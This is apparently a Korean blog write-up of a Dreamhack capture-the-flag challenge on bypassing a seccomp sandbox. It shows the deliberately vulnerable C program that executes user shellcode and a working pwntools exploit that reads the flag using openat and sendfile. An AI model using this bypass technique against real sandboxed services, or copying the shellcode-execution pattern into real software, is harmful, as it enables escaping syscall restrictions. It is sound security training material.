Dreamhack/Pwnable 문제 풀이

[Pwnable Advanced] Exploit Tech: Bypass SECCOMP

seobangwool 2026. 4. 15. 11:24

제공 Dockerfile

FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21

ENV user bypass_seccomp
ENV chall_port 7182

RUN apt-get update
RUN apt-get -y install socat

RUN adduser $user

ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user

RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user

RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag

WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user

Dockerfile (수정)

FROM ubuntu:22.04

ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8

RUN apt update
RUN apt install -y \
    gcc \
    git \
    python3 \
    python3-pip \
    ruby \
    sudo \
    tmux \
    vim \
    wget

# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh

# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools

# install one_gadget command
RUN gem install one_gadget -v 1.6.2

WORKDIR /root
COPY . /root

bypass_seccomp.c

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);

  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  memset(shellcode, 0, 0x1000);

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sandbox();

  sc = (void *)shellcode;
  sc();
}
pwndbg> checksec
[*] '/root/bypass_seccomp'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

코드 분석

일단 SECCOMP 규칙에 open execve execveat write 를 Deny 하는 규칙이 있다.

쉘코드를 읽는 기본 c 코드가 있으니, 허용되는 openat 같은 명령어를 통해 flag 파일을 실행시켜보라는 문제로 보인다.

그리고 shellcode 에 무언갈 적는것 말고는 아무것도 할 수가 없다 (fsb, bof 등등)
카나리를 제외하고 모든 보안기법이 걸려있으니 쉘 코드를 맞게 잘 적으면 될 거 같다

익스플로잇 코드 구하기

image (9)

c 코드가 있어 전부 나와있지만 seccomp 명령어도 한번 써서 확인해주고,

 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010

그리고 저기있는 0003과 0004 는 코드에 안나타나있길래 찾아보니,
커널 우회 공격을 방지하기 위해 저절로 삽입되는 조건이라고 한다.

openat("./flag") → read 로 파일을 읽고 그 뒤에 어떻게 이걸 적어내는게 문제인데, 여기선 sendfile 함수를 사용하면 된다.

이제 익스플로잇 코드를 작성할건데,
자세한 코드 설명은 코드 아래에 적어두겠다.

대략적인 순서는 이렇다.

  • 읽고 싶은 파일을 먼저 열고
    • 로컬에서: /home/alex030905/pwnable/SECCOMP/Bypass_SECCOMP/flag
    • 서버에서: /home/bypass_seccomp/flag
  • 파일 디스크립터(fd)를 가져온 뒤,
  • sendfile을 사용해 stdout (1)으로 전송하고
  • exit(0)으로 종료

이런 순서로 흘러간다.

 

익스플로잇 코드

from pwn import *

context.arch = 'x86_64'

p = process('./bypass_seccomp')
# p = remote('host3.dreamhack.games', 8599)

shellcode = shellcraft.openat(0, '/home/alex030905/pwnable/SECCOMP/Bypass_SECCOMP/flag')
# shellcode = shellcraft.openat(0, '/home/bypass_seccomp/flag')

shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','')
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()

 

코드설명

shellcode = shellcraft.openat(0, '/home/alex030905/pwnable/SECCOMP/Bypass_SECCOMP/flag')

openat 함수를 사용할건데 이 함수의 원형은 아래와 같다.

  • int openat(int dirfd, const char *pathname, int flags, mode_t mode)

여기서 dirfd = 0으로 현재 디렉토리를 기준으로 하고,

flags = O_RDONLY, mode = 0 으로 생략되고 경로는 flag 파일이 있는 곳으로 해준다.
그리고 반환값는 rax = fd 이다.

서버로 날린 때는 /home/bypass_seccomp/flag으로 해준다.

 

shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','')
shellcode += shellcraft.exit(0)

mov r10, 0xffff는 r10을 65535로 전송할 최대 바이트 수를 지정해주는 용도이다.
sendfile syscall에서 count 인자에 들어갈 값이다. 네번째 인자로 들어가므로 이렇게 직접 설정해준거다.

sendfile 함수의 원형은 아래와 같다.

  • ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count)

인자는 순서대로 1 (stdout), rax (이전 syscall 결과, flag 파일 fd임), 0 , r10
으로 설정해준셈이다.

.replace('xor r10d, r10d', '') 을 사용한 이유는 shellcraft.sendfile()은 count=0 으로 설정되어서 우리가 설정한 r10 값을 쓰기 위해서이다.
그리고 마지막으로 exit 시키기

이제 실행을 해보면

image

잘 나오는 것을 볼 수 있다.

서버에서도 실행시켜보면,

 

image

이렇게 답을 구해냈다.